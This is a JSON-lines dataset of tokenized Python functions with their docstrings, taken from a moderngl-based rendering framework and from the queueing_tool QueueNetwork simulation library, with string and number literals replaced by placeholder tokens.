{"signature": "def cursor_event(self, x, y, dx, dy):", "body": "self.sys_camera.rot_state(x, y)<EOL>", "docstring": "The standard mouse movement event method.\nCan be overriden to add new functionality.\nBy default this feeds the system camera with new values.\n\nArgs:\n    x: The current mouse x position\n    y: The current mouse y position\n    dx: Delta x postion (x position difference from the previous event)\n    dy: Delta y postion (y position difference from the previous event)", "id": "f14485:c1:m13"}
{"signature": "def print_context_info(self):", "body": "print(\"<STR_LIT>\")<EOL>print('<STR_LIT>', moderngl.__version__)<EOL>print('<STR_LIT>', self.ctx.info['<STR_LIT>'])<EOL>print('<STR_LIT>', self.ctx.info['<STR_LIT>'])<EOL>print('<STR_LIT>', self.ctx.info['<STR_LIT>'])<EOL>print('<STR_LIT>', sys.version)<EOL>print('<STR_LIT>', sys.platform)<EOL>print('<STR_LIT>', self.ctx.version_code)<EOL>", "docstring": "Prints moderngl context info.", "id": "f14485:c1:m14"}
{"signature": "def set_default_viewport(self):", "body": "<EOL>expected_height = int(self.buffer_width / self.aspect_ratio)<EOL>blank_space = self.buffer_height - expected_height<EOL>self.fbo.viewport = (<NUM_LIT:0>, blank_space // <NUM_LIT:2>, self.buffer_width, expected_height)<EOL>", "docstring": "Calculates the viewport based on the configured aspect ratio in settings.\nWill add black borders if the window do not match the viewport.", "id": "f14485:c1:m15"}
{"signature": "def window(raise_on_error=True) -> BaseWindow:", "body": "if not WINDOW and raise_on_error:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return WINDOW<EOL>", "docstring": "The window instance we are rendering to\n\n:param raise_on_error: Raise an error if the window is not created yet", "id": "f14486:m0"}
{"signature": "def ctx() -> moderngl.Context:", "body": "win = window()<EOL>if not win.ctx:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return win.ctx<EOL>", "docstring": "ModernGL context", "id": "f14486:m1"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>self.headless_frames = getattr(settings, '<STR_LIT>', <NUM_LIT:0>)<EOL>self.headless_duration = getattr(settings, '<STR_LIT>', <NUM_LIT:0>)<EOL>if not self.headless_frames and not self.headless_duration:<EOL><INDENT>raise ImproperlyConfigured(\"<STR_LIT>\")<EOL><DEDENT>self._close = False<EOL>self.ctx = moderngl.create_standalone_context(require=self.gl_version.code)<EOL>context.WINDOW = self<EOL>self.fbo = self.ctx.framebuffer(<EOL>color_attachments=self.ctx.texture(self.size, <NUM_LIT:4>),<EOL>depth_attachment=self.ctx.depth_texture(self.size),<EOL>)<EOL>self.set_default_viewport()<EOL>self.fbo.use()<EOL>", "docstring": "Creates a standalone ``moderngl.Context``.\nThe headless window currently have no event input from keyboard or mouse.\n\nUsing this window require either ``settings`` values to be present:\n\n* ``HEADLESS_FRAMES``: How many frames should be rendered before closing the window\n* ``HEADLESS_DURATION``: How many seconds rendering should last before the window closes", "id": "f14487:c0:m0"}
{"signature": "def draw(self, current_time, frame_time):", "body": "super().draw(current_time, frame_time)<EOL>if self.headless_duration and current_time >= self.headless_duration:<EOL><INDENT>self.close()<EOL><DEDENT>", "docstring": "Calls the superclass ``draw()`` methods and checks ``HEADLESS_FRAMES``/``HEADLESS_DURATION``", "id": "f14487:c0:m1"}
{"signature": "def use(self):", "body": "self.fbo.use()<EOL>", "docstring": "Binds the framebuffer representing this window", "id": "f14487:c0:m2"}
{"signature": "def should_close(self) -> bool:", "body": "return self._close<EOL>", "docstring": "Checks if the internal close state is set", "id": "f14487:c0:m3"}
{"signature": "def close(self):", "body": "self._close = True<EOL>", "docstring": "Sets the internal close state", "id": "f14487:c0:m4"}
{"signature": "def resize(self, width, height):", "body": "pass<EOL>", "docstring": "Resizing is not supported by the headless window.\nWe simply override with an empty method.", "id": "f14487:c0:m5"}
{"signature": "def swap_buffers(self):", "body": "self.frames += <NUM_LIT:1><EOL>if self.headless_frames and self.frames >= self.headless_frames:<EOL><INDENT>self.close()<EOL><DEDENT>", "docstring": "Headless window currently don't support double buffering.\nWe only increment the frame counter here.", "id": "f14487:c0:m6"}
{"signature": "def terminate(self):", "body": "pass<EOL>", "docstring": "No teardown is needed. We override with an empty method", "id": "f14487:c0:m7"}
{"signature": "@property<EOL><INDENT>def label(self) -> str:<DEDENT>", "body": "return self._kwargs.get('<STR_LIT:label>')<EOL>", "docstring": "(str) The internal label this resource is associated with", "id": "f14493:c0:m1"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "return self._kwargs.get('<STR_LIT:path>')<EOL>", "docstring": "(str) The path to a resource when a single file is specified", "id": "f14493:c0:m2"}
{"signature": "@property<EOL><INDENT>def loader(self):<DEDENT>", "body": "return self._kwargs.get('<STR_LIT>') or self.default_loader<EOL>", "docstring": "(str) Name of the loader", "id": "f14493:c0:m3"}
{"signature": "@property<EOL><INDENT>def loader_cls(self) -> Type:<DEDENT>", "body": "return self._kwargs.get('<STR_LIT>')<EOL>", "docstring": "(Type) The loader class for this resource", "id": "f14493:c0:m5"}
{"signature": "@property<EOL><INDENT>def resolved_path(self) -> Path:<DEDENT>", "body": "return self.kwargs.get('<STR_LIT>')<EOL>", "docstring": "(pathlib.Path) The resolved path by a finder", "id": "f14493:c0:m7"}
{"signature": "@property<EOL><INDENT>def kwargs(self) -> Dict[str, str]:<DEDENT>", "body": "return self._kwargs<EOL>", "docstring": "(dict) All keywords arguments passed to the resource", "id": "f14493:c0:m9"}
{"signature": "def load(self, meta: ResourceDescription) -> Any:", "body": "self._check_meta(meta)<EOL>self.resolve_loader(meta)<EOL>return meta.loader_cls(meta).load()<EOL>", "docstring": "Loads a resource or return existing one\n\n:param meta: The resource description", "id": "f14493:c1:m2"}
{"signature": "def add(self, meta):", "body": "self._check_meta(meta)<EOL>self.resolve_loader(meta)<EOL>self._resources.append(meta)<EOL>", "docstring": "Add a resource to this pool.\nThe resource is loaded and returned when ``load_pool()`` is called.\n\n:param meta: The resource description", "id": "f14493:c1:m3"}
{"signature": "def load_pool(self):", "body": "for meta in self._resources:<EOL><INDENT>resource = self.load(meta)<EOL>yield meta, resource<EOL><DEDENT>self._resources = []<EOL>", "docstring": "Loads all the data files using the configured finders.", "id": "f14493:c1:m4"}
{"signature": "def resolve_loader(self, meta: ResourceDescription):", "body": "meta.loader_cls = self.get_loader(meta, raise_on_error=True)<EOL>", "docstring": "Attempts to assign a loader class to a resource description\n\n:param meta: The resource description instance", "id": "f14493:c1:m5"}
{"signature": "def get_loader(self, meta: ResourceDescription, raise_on_error=False) -> BaseLoader:", "body": "for loader in self._loaders:<EOL><INDENT>if loader.name == meta.loader:<EOL><INDENT>return loader<EOL><DEDENT><DEDENT>if raise_on_error:<EOL><INDENT>raise ImproperlyConfigured(<EOL>\"<STR_LIT>\".format(<EOL>meta.loader, meta, [loader.name for loader in self._loaders]))<EOL><DEDENT>", "docstring": "Attempts to get a loader\n\n:param meta: The resource description instance\n:param raise_on_error: Raise ImproperlyConfigured if the loader cannot be resolved\n:returns: The requested loader class", "id": "f14493:c1:m6"}
{"signature": "def get(self, name) -> Track:", "body": "name = name.lower()<EOL>track = self.track_map.get(name)<EOL>if not track:<EOL><INDENT>track = Track(name)<EOL>self.tacks.append(track)<EOL>self.track_map[name] = track<EOL><DEDENT>return track<EOL>", "docstring": "Get or create a Track object.\n\n:param name: Name of the track\n:return: Track object", "id": "f14494:c0:m1"}
{"signature": "def resolve_loader(self, meta: SceneDescription):", "body": "for loader_cls in self._loaders:<EOL><INDENT>if loader_cls.supports_file(meta):<EOL><INDENT>meta.loader_cls = loader_cls<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ImproperlyConfigured(<EOL>\"<STR_LIT>\".format(meta.path))<EOL><DEDENT>", "docstring": "Resolve scene loader based on file extension", "id": "f14495:c0:m1"}
{"signature": "def resolve_loader(self, meta: ProgramDescription):", "body": "if not meta.loader:<EOL><INDENT>meta.loader = '<STR_LIT>' if meta.path else '<STR_LIT>'<EOL><DEDENT>for loader_cls in self._loaders:<EOL><INDENT>if loader_cls.name == meta.loader:<EOL><INDENT>meta.loader_cls = loader_cls<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ImproperlyConfigured(<EOL>(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(meta.path)<EOL>)<EOL><DEDENT>", "docstring": "Resolve program loader", "id": "f14499:c0:m1"}
{"signature": "def update(self, **kwargs):", "body": "for name, value in kwargs.items():<EOL><INDENT>setattr(self, name, value)<EOL><DEDENT>", "docstring": "Override settings values", "id": "f14501:c0:m1"}
{"signature": "def add_program_dir(self, directory):", "body": "dirs = list(self.PROGRAM_DIRS)<EOL>dirs.append(directory)<EOL>self.PROGRAM_DIRS = dirs<EOL>", "docstring": "Hack in program directory", "id": "f14501:c0:m4"}
{"signature": "def add_texture_dir(self, directory):", "body": "dirs = list(self.TEXTURE_DIRS)<EOL>dirs.append(directory)<EOL>self.TEXTURE_DIRS = dirs<EOL>", "docstring": "Hack in texture directory", "id": "f14501:c0:m5"}
{"signature": "def add_data_dir(self, directory):", "body": "dirs = list(self.DATA_DIRS)<EOL>dirs.append(directory)<EOL>self.DATA_DIRS = dirs<EOL>", "docstring": "Hack in a data directory", "id": "f14501:c0:m6"}
{"signature": "def local(path):", "body": "return os.path.join(__name__.split('<STR_LIT:.>')[-<NUM_LIT:2>], path)<EOL>", "docstring": "Prepend the effect package name to a path so resources\ncan still be loaded when copied into a new effect package.", "id": "f14509:m0"}
{"signature": "def calculate_triangles(n: int):", "body": "if n < <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>if n == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return ((<NUM_LIT:2> * n - <NUM_LIT:2>) * <NUM_LIT:3>) + calculate_triangles(n - <NUM_LIT:2>)<EOL>", "docstring": "Calculate the number of triangles for the barycentric subdivision of a\nsingle triangle (where the inner and outer subdivision is equal", "id": "f14512:m0"}
{"signature": "def _get_queues(g, queues, edge, edge_type):", "body": "INT = numbers.Integral<EOL>if isinstance(queues, INT):<EOL><INDENT>queues = [queues]<EOL><DEDENT>elif queues is None:<EOL><INDENT>if edge is not None:<EOL><INDENT>if isinstance(edge, tuple):<EOL><INDENT>if isinstance(edge[<NUM_LIT:0>], INT) and isinstance(edge[<NUM_LIT:1>], INT):<EOL><INDENT>queues = [g.edge_index[edge]]<EOL><DEDENT><DEDENT>elif isinstance(edge[<NUM_LIT:0>], collections.Iterable):<EOL><INDENT>if np.array([len(e) == <NUM_LIT:2> for e in edge]).all():<EOL><INDENT>queues = [g.edge_index[e] for e in edge]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>queues = [g.edge_index[edge]]<EOL><DEDENT><DEDENT>elif edge_type is not None:<EOL><INDENT>if isinstance(edge_type, collections.Iterable):<EOL><INDENT>edge_type = set(edge_type)<EOL><DEDENT>else:<EOL><INDENT>edge_type = set([edge_type])<EOL><DEDENT>tmp = []<EOL>for e in g.edges():<EOL><INDENT>if g.ep(e, '<STR_LIT>') in edge_type:<EOL><INDENT>tmp.append(g.edge_index[e])<EOL><DEDENT><DEDENT>queues = np.array(tmp, int)<EOL><DEDENT>if queues is None:<EOL><INDENT>queues = range(g.number_of_edges())<EOL><DEDENT><DEDENT>return queues<EOL>", "docstring": "Used to specify edge indices from different types of arguments.", "id": "f14533:m0"}
{"signature": "def animate(self, out=None, t=None, line_kwargs=None,<EOL>scatter_kwargs=None, **kwargs):", "body": "if not self._initialized:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise QueueingToolError(msg)<EOL><DEDENT>if not HAS_MATPLOTLIB:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ImportError(msg)<EOL><DEDENT>self._update_all_colors()<EOL>kwargs.setdefault('<STR_LIT>', self.colors['<STR_LIT>'])<EOL>fig = plt.figure(figsize=kwargs.get('<STR_LIT>', (<NUM_LIT:7>, <NUM_LIT:7>)))<EOL>ax = fig.gca()<EOL>mpl_kwargs = {<EOL>'<STR_LIT>': line_kwargs,<EOL>'<STR_LIT>': scatter_kwargs,<EOL>'<STR_LIT>': kwargs.get('<STR_LIT>')<EOL>}<EOL>line_args, scat_args = self.g.lines_scatter_args(**mpl_kwargs)<EOL>lines = LineCollection(**line_args)<EOL>lines = ax.add_collection(lines)<EOL>scatt = ax.scatter(**scat_args)<EOL>t = np.infty if t is None else t<EOL>now = self._t<EOL>def update(frame_number):<EOL><INDENT>if t is not None:<EOL><INDENT>if self._t > now + t:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>self._simulate_next_event(slow=True)<EOL>lines.set_color(line_args['<STR_LIT>'])<EOL>scatt.set_edgecolors(scat_args['<STR_LIT>'])<EOL>scatt.set_facecolor(scat_args['<STR_LIT:c>'])<EOL><DEDENT>if hasattr(ax, '<STR_LIT>'):<EOL><INDENT>ax.set_facecolor(kwargs['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>ax.set_axis_bgcolor(kwargs['<STR_LIT>'])<EOL><DEDENT>ax.get_xaxis().set_visible(False)<EOL>ax.get_yaxis().set_visible(False)<EOL>animation_args = {<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': <NUM_LIT:10>,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': update,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': fig,<EOL>'<STR_LIT>': None,<EOL>}<EOL>for key, value in kwargs.items():<EOL><INDENT>if key in animation_args:<EOL><INDENT>animation_args[key] = value<EOL><DEDENT><DEDENT>animation = FuncAnimation(**animation_args)<EOL>if '<STR_LIT:filename>' not in kwargs:<EOL><INDENT>plt.ioff()<EOL>plt.show()<EOL><DEDENT>else:<EOL><INDENT>save_args = {<EOL>'<STR_LIT:filename>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None<EOL>}<EOL>for key, value in kwargs.items():<EOL><INDENT>if key in save_args:<EOL><INDENT>save_args[key] = value<EOL><DEDENT><DEDENT>animation.save(**save_args)<EOL><DEDENT>", "docstring": "Animates the network as it's simulating.\n\n        The animations can be saved to disk or viewed in interactive\n        mode. Closing the window ends the animation if viewed in\n        interactive mode. This method calls\n        :meth:`~matplotlib.axes.scatter`, and\n        :class:`~matplotlib.collections.LineCollection`, and any\n        keyword arguments they accept can be passed to them.\n\n        Parameters\n        ----------\n        out : str (optional)\n            The location where the frames for the images will be saved.\n            If this parameter is not given, then the animation is shown\n            in interactive mode.\n        t : float (optional)\n            The amount of simulation time to simulate forward. If\n            given, and ``out`` is given, ``t`` is used instead of\n            ``n``.\n        line_kwargs : dict (optional, default: None)\n            Any keyword arguments accepted by\n            :class:`~matplotlib.collections.LineCollection`.\n        scatter_kwargs : dict (optional, default: None)\n            Any keyword arguments accepted by\n            :meth:`~matplotlib.axes.Axes.scatter`.\n        bgcolor : list (optional, keyword only)\n            A list with 4 floats representing a RGBA color. The\n            default is defined in ``self.colors['bgcolor']``.\n        figsize : tuple (optional, keyword only, default: ``(7, 7)``)\n            The width and height of the figure in inches.\n        **kwargs :\n            This method calls\n            :class:`~matplotlib.animation.FuncAnimation` and\n            optionally :meth:`.matplotlib.animation.FuncAnimation.save`.\n            Any keyword that can be passed to these functions are\n            passed via ``kwargs``.\n\n        Notes\n        -----\n        There are several parameters automatically set and passed to\n        matplotlib's :meth:`~matplotlib.axes.Axes.scatter`,\n        :class:`~matplotlib.collections.LineCollection`, and\n        :class:`~matplotlib.animation.FuncAnimation` by default.\n        These include:\n\n            * :class:`~matplotlib.animation.FuncAnimation`: Uses the\n              defaults for that function. Saving the animation is done\n              by passing the 'filename' keyword argument to this method.\n              This method also accepts any keyword arguments accepted\n              by :meth:`~matplotlib.animation.FuncAnimation.save`.\n            * :class:`~matplotlib.collections.LineCollection`: The default\n              arguments are taken from\n              :meth:`.QueueNetworkDiGraph.lines_scatter_args`.\n            * :meth:`~matplotlib.axes.Axes.scatter`: The default\n              arguments are taken from\n              :meth:`.QueueNetworkDiGraph.lines_scatter_args`.\n\n        Raises\n        ------\n        QueueingToolError\n            Will raise a :exc:`.QueueingToolError` if the\n            ``QueueNetwork`` has not been initialized. Call\n            :meth:`.initialize` before running.\n\n        Examples\n        --------\n        This function works similarly to ``QueueNetwork's``\n        :meth:`.draw` method.\n\n        >>> import queueing_tool as qt\n        >>> g = qt.generate_pagerank_graph(100, seed=13)\n        >>> net = qt.QueueNetwork(g, seed=13)\n        >>> net.initialize()\n        >>> net.animate(figsize=(4, 4)) # doctest: +SKIP\n\n        To stop the animation just close the window. If you want to\n        write the animation to disk run something like the following:\n\n        >>> kwargs = {\n        ...     'filename': 'test.mp4',\n        ...     'frames': 300,\n        ...     'fps': 30,\n        ...     'writer': 'mencoder',\n        ...     'figsize': (4, 4),\n        ...     'vertex_size': 15\n        ... }\n        >>> net.animate(**kwargs) # doctest: +SKIP", "id": "f14533:c1:m9"}
{"signature": "def clear(self):", "body": "self._t = <NUM_LIT:0><EOL>self.num_events = <NUM_LIT:0><EOL>self.num_agents = np.zeros(self.nE, int)<EOL>self._fancy_heap = PriorityQueue()<EOL>self._prev_edge = None<EOL>self._initialized = False<EOL>self.reset_colors()<EOL>for q in self.edge2queue:<EOL><INDENT>q.clear()<EOL><DEDENT>", "docstring": "Resets the queue to its initial state.\n\n        The attributes ``t``, ``num_events``, ``num_agents`` are set to\n        zero, :meth:`.reset_colors` is called, and the\n        :meth:`.QueueServer.clear` method is called for each queue in\n        the network.\n\n        Notes\n        -----\n        ``QueueNetwork`` must be re-initialized before any simulations\n        can run.", "id": "f14533:c1:m10"}
{"signature": "def clear_data(self, queues=None, edge=None, edge_type=None):", "body": "queues = _get_queues(self.g, queues, edge, edge_type)<EOL>for k in queues:<EOL><INDENT>self.edge2queue[k].data = {}<EOL><DEDENT>", "docstring": "Clears data from all queues.\n\n        If none of the parameters are given then every queue's data is\n        cleared.\n\n        Parameters\n        ----------\n        queues : int or an iterable of int (optional)\n            The edge index (or an iterable of edge indices) identifying\n            the :class:`QueueServer(s)<.QueueServer>` whose data will\n            be cleared.\n        edge : 2-tuple of int or *array_like* (optional)\n            Explicitly specify which queues' data to clear. Must be\n            either:\n\n            * A 2-tuple of the edge's source and target vertex\n              indices, or\n            * An iterable of 2-tuples of the edge's source and\n              target vertex indices.\n\n        edge_type : int or an iterable of int (optional)\n            A integer, or a collection of integers identifying which\n            edge types will have their data cleared.", "id": "f14533:c1:m11"}
{"signature": "def copy(self):", "body": "net = QueueNetwork(None)<EOL>net.g = self.g.copy()<EOL>net.max_agents = copy.deepcopy(self.max_agents)<EOL>net.nV = copy.deepcopy(self.nV)<EOL>net.nE = copy.deepcopy(self.nE)<EOL>net.num_agents = copy.deepcopy(self.num_agents)<EOL>net.num_events = copy.deepcopy(self.num_events)<EOL>net._t = copy.deepcopy(self._t)<EOL>net._initialized = copy.deepcopy(self._initialized)<EOL>net._prev_edge = copy.deepcopy(self._prev_edge)<EOL>net._blocking = copy.deepcopy(self._blocking)<EOL>net.colors = copy.deepcopy(self.colors)<EOL>net.out_edges = copy.deepcopy(self.out_edges)<EOL>net.in_edges = copy.deepcopy(self.in_edges)<EOL>net.edge2queue = copy.deepcopy(self.edge2queue)<EOL>net._route_probs = copy.deepcopy(self._route_probs)<EOL>if net._initialized:<EOL><INDENT>keys = [q._key() for q in net.edge2queue if q._time < np.infty]<EOL>net._fancy_heap = PriorityQueue(keys, net.nE)<EOL><DEDENT>return net<EOL>", "docstring": "Returns a deep copy of itself.", "id": "f14533:c1:m12"}
{"signature": "def draw(self, update_colors=True, line_kwargs=None,<EOL>scatter_kwargs=None, **kwargs):", "body": "if not HAS_MATPLOTLIB:<EOL><INDENT>raise ImportError(\"<STR_LIT>\")<EOL><DEDENT>if update_colors:<EOL><INDENT>self._update_all_colors()<EOL><DEDENT>if '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = self.colors['<STR_LIT>']<EOL><DEDENT>self.g.draw_graph(line_kwargs=line_kwargs,<EOL>scatter_kwargs=scatter_kwargs, **kwargs)<EOL>", "docstring": "Draws the network. The coloring of the network corresponds\n        to the number of agents at each queue.\n\n        Parameters\n        ----------\n        update_colors : ``bool`` (optional, default: ``True``).\n            Specifies whether all the colors are updated.\n        line_kwargs : dict (optional, default: None)\n            Any keyword arguments accepted by\n            :class:`~matplotlib.collections.LineCollection`\n        scatter_kwargs : dict (optional, default: None)\n            Any keyword arguments accepted by\n            :meth:`~matplotlib.axes.Axes.scatter`.\n        bgcolor : list (optional, keyword only)\n            A list with 4 floats representing a RGBA color. The\n            default is defined in ``self.colors['bgcolor']``.\n        figsize : tuple (optional, keyword only, default: ``(7, 7)``)\n            The width and height of the canvas in inches.\n        **kwargs\n            Any parameters to pass to\n            :meth:`.QueueNetworkDiGraph.draw_graph`.\n\n        Notes\n        -----\n        This method relies heavily on\n        :meth:`.QueueNetworkDiGraph.draw_graph`. Also, there is a\n        parameter that sets the background color of the canvas, which\n        is the ``bgcolor`` parameter.\n\n        Examples\n        --------\n        To draw the current state of the network, call:\n\n        >>> import queueing_tool as qt\n        >>> g = qt.generate_pagerank_graph(100, seed=13)\n        >>> net = qt.QueueNetwork(g, seed=13)\n        >>> net.initialize(100)\n        >>> net.simulate(1200)\n        >>> net.draw() # doctest: +SKIP\n\n        If you specify a file name and location, the drawing will be\n        saved to disk. For example, to save the drawing to the current\n        working directory do the following:\n\n        >>> net.draw(fname=\"state.png\", scatter_kwargs={'s': 40}) # doctest: +SKIP\n\n        .. figure:: current_state1.png\n            :align: center\n\n        The shade of each edge depicts how many agents are located at\n        the corresponding queue. The shade of each vertex is determined\n        by the total number of inbound agents. Although loops are not\n        visible by default, the vertex that corresponds to a loop shows\n        how many agents are in that loop.\n\n        There are several additional parameters that can be passed --\n        all :meth:`.QueueNetworkDiGraph.draw_graph` parameters are\n        valid. For example, to show the edges as dashed lines do the\n        following.\n\n        >>> net.draw(line_kwargs={'linestyle': 'dashed'}) # doctest: +SKIP", "id": "f14533:c1:m13"}
{"signature": "def get_agent_data(self, queues=None, edge=None, edge_type=None, return_header=False):", "body": "queues = _get_queues(self.g, queues, edge, edge_type)<EOL>data = {}<EOL>for qid in queues:<EOL><INDENT>for agent_id, dat in self.edge2queue[qid].data.items():<EOL><INDENT>datum = np.zeros((len(dat), <NUM_LIT:6>))<EOL>datum[:, :<NUM_LIT:5>] = np.array(dat)<EOL>datum[:, <NUM_LIT:5>] = qid<EOL>if agent_id in data:<EOL><INDENT>data[agent_id] = np.vstack((data[agent_id], datum))<EOL><DEDENT>else:<EOL><INDENT>data[agent_id] = datum<EOL><DEDENT><DEDENT><DEDENT>dType = [<EOL>('<STR_LIT:a>', float),<EOL>('<STR_LIT:s>', float),<EOL>('<STR_LIT:d>', float),<EOL>('<STR_LIT:q>', float),<EOL>('<STR_LIT:n>', float),<EOL>('<STR_LIT:id>', float)<EOL>]<EOL>for agent_id, dat in data.items():<EOL><INDENT>datum = np.array([tuple(d) for d in dat.tolist()], dtype=dType)<EOL>datum = np.sort(datum, order='<STR_LIT:a>')<EOL>data[agent_id] = np.array([tuple(d) for d in datum])<EOL><DEDENT>if return_header:<EOL><INDENT>return data, '<STR_LIT>'<EOL><DEDENT>return data<EOL>", "docstring": "Gets data from queues and organizes it by agent.\n\n        If none of the parameters are given then data from every\n        :class:`.QueueServer` is retrieved.\n\n        Parameters\n        ----------\n        queues : int or *array_like* (optional)\n            The edge index (or an iterable of edge indices) identifying\n            the :class:`QueueServer(s)<.QueueServer>` whose data will\n            be retrieved.\n        edge : 2-tuple of int or *array_like* (optional)\n            Explicitly specify which queues to retrieve agent data\n            from. Must be either:\n\n            * A 2-tuple of the edge's source and target vertex\n              indices, or\n            * An iterable of 2-tuples of the edge's source and\n              target vertex indices.\n\n        edge_type : int or an iterable of int (optional)\n            A integer, or a collection of integers identifying which\n            edge types to retrieve agent data from.\n        return_header : bool (optonal, default: False)\n            Determines whether the column headers are returned.\n\n        Returns\n        -------\n        dict\n            Returns a ``dict`` where the keys are the\n            :class:`Agent's<.Agent>` ``agent_id`` and the values are\n            :class:`ndarrays<~numpy.ndarray>` for that\n            :class:`Agent's<.Agent>` data. The columns of this array\n            are as follows:\n\n            * First: The arrival time of an agent.\n            * Second: The service start time of an agent.\n            * Third: The departure time of an agent.\n            * Fourth: The length of the queue upon the agents arrival.\n            * Fifth: The total number of :class:`Agents<.Agent>` in the\n              :class:`.QueueServer`.\n            * Sixth: the :class:`QueueServer's<.QueueServer>` id\n              (its edge index).\n\n        headers : str (optional)\n            A comma seperated string of the column headers. Returns\n            ``'arrival,service,departure,num_queued,num_total,q_id'``", "id": "f14533:c1:m14"}
{"signature": "def get_queue_data(self, queues=None, edge=None, edge_type=None, return_header=False):", "body": "queues = _get_queues(self.g, queues, edge, edge_type)<EOL>data = np.zeros((<NUM_LIT:0>, <NUM_LIT:6>))<EOL>for q in queues:<EOL><INDENT>dat = self.edge2queue[q].fetch_data()<EOL>if len(dat) > <NUM_LIT:0>:<EOL><INDENT>data = np.vstack((data, dat))<EOL><DEDENT><DEDENT>if return_header:<EOL><INDENT>return data, '<STR_LIT>'<EOL><DEDENT>return data<EOL>", "docstring": "Gets data from all the queues.\n\n        If none of the parameters are given then data from every\n        :class:`.QueueServer` is retrieved.\n\n        Parameters\n        ----------\n        queues : int or an *array_like* of int, (optional)\n            The edge index (or an iterable of edge indices) identifying\n            the :class:`QueueServer(s)<.QueueServer>` whose data will\n            be retrieved.\n        edge : 2-tuple of int or *array_like* (optional)\n            Explicitly specify which queues to retrieve data from. Must\n            be either:\n\n            * A 2-tuple of the edge's source and target vertex\n              indices, or\n            * An iterable of 2-tuples of the edge's source and\n              target vertex indices.\n\n        edge_type : int or an iterable of int (optional)\n            A integer, or a collection of integers identifying which\n            edge types to retrieve data from.\n        return_header : bool (optonal, default: False)\n            Determines whether the column headers are returned.\n\n        Returns\n        -------\n        out : :class:`~numpy.ndarray`\n            * 1st: The arrival time of an agent.\n            * 2nd: The service start time of an agent.\n            * 3rd: The departure time of an agent.\n            * 4th: The length of the queue upon the agents arrival.\n            * 5th: The total number of :class:`Agents<.Agent>` in the\n              :class:`.QueueServer`.\n            * 6th: The :class:`QueueServer's<.QueueServer>` edge index.\n\n        out : str (optional)\n            A comma seperated string of the column headers. Returns\n            ``'arrival,service,departure,num_queued,num_total,q_id'```\n\n        Examples\n        --------\n        Data is not collected by default. Before simulating, by sure to\n        turn it on (as well as initialize the network). The following\n        returns data from queues with ``edge_type`` 1 or 3:\n\n        >>> import queueing_tool as qt\n        >>> g = qt.generate_pagerank_graph(100, seed=13)\n        >>> net = qt.QueueNetwork(g, seed=13)\n        >>> net.start_collecting_data()\n        >>> net.initialize(10)\n        >>> net.simulate(2000)\n        >>> data = net.get_queue_data(edge_type=(1, 3))\n\n        To get data from an edge connecting two vertices do the\n        following:\n\n        >>> data = net.get_queue_data(edge=(1, 50))\n\n        To get data from several edges do the following:\n\n        >>> data = net.get_queue_data(edge=[(1, 50), (10, 91), (99, 99)])\n\n        You can specify the edge indices as well:\n\n        >>> data = net.get_queue_data(queues=(20, 14, 0, 4))", "id": "f14533:c1:m15"}
{"signature": "def initialize(self, nActive=<NUM_LIT:1>, queues=None, edges=None, edge_type=None):", "body": "if queues is None and edges is None and edge_type is None:<EOL><INDENT>if nActive >= <NUM_LIT:1> and isinstance(nActive, numbers.Integral):<EOL><INDENT>qs = [q.edge[<NUM_LIT:2>] for q in self.edge2queue if q.edge[<NUM_LIT:3>] != <NUM_LIT:0>]<EOL>n = min(nActive, len(qs))<EOL>queues = np.random.choice(qs, size=n, replace=False)<EOL><DEDENT>elif not isinstance(nActive, numbers.Integral):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg)<EOL><DEDENT>else:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise ValueError(msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>queues = _get_queues(self.g, queues, edges, edge_type)<EOL><DEDENT>queues = [e for e in queues if self.edge2queue[e].edge[<NUM_LIT:3>] != <NUM_LIT:0>]<EOL>if len(queues) == <NUM_LIT:0>:<EOL><INDENT>raise QueueingToolError(\"<STR_LIT>\")<EOL><DEDENT>if len(queues) > self.max_agents:<EOL><INDENT>queues = queues[:self.max_agents]<EOL><DEDENT>for ei in queues:<EOL><INDENT>self.edge2queue[ei].set_active()<EOL>self.num_agents[ei] = self.edge2queue[ei]._num_total<EOL><DEDENT>keys = [q._key() for q in self.edge2queue if q._time < np.infty]<EOL>self._fancy_heap = PriorityQueue(keys, self.nE)<EOL>self._initialized = True<EOL>", "docstring": "Prepares the ``QueueNetwork`` for simulation.\n\n        Each :class:`.QueueServer` in the network starts inactive,\n        which means they do not accept arrivals from outside the\n        network, and they have no agents in their system. This method\n        sets queues to active, which then allows agents to arrive from\n        outside the network.\n\n        Parameters\n        ----------\n        nActive : int (optional, default: ``1``)\n            The number of queues to set as active. The queues are\n            selected randomly.\n        queues : int *array_like* (optional)\n            The edge index (or an iterable of edge indices) identifying\n            the :class:`QueueServer(s)<.QueueServer>` to make active by.\n        edges : 2-tuple of int or *array_like* (optional)\n            Explicitly specify which queues to make active. Must be\n            either:\n\n            * A 2-tuple of the edge's source and target vertex\n              indices, or\n  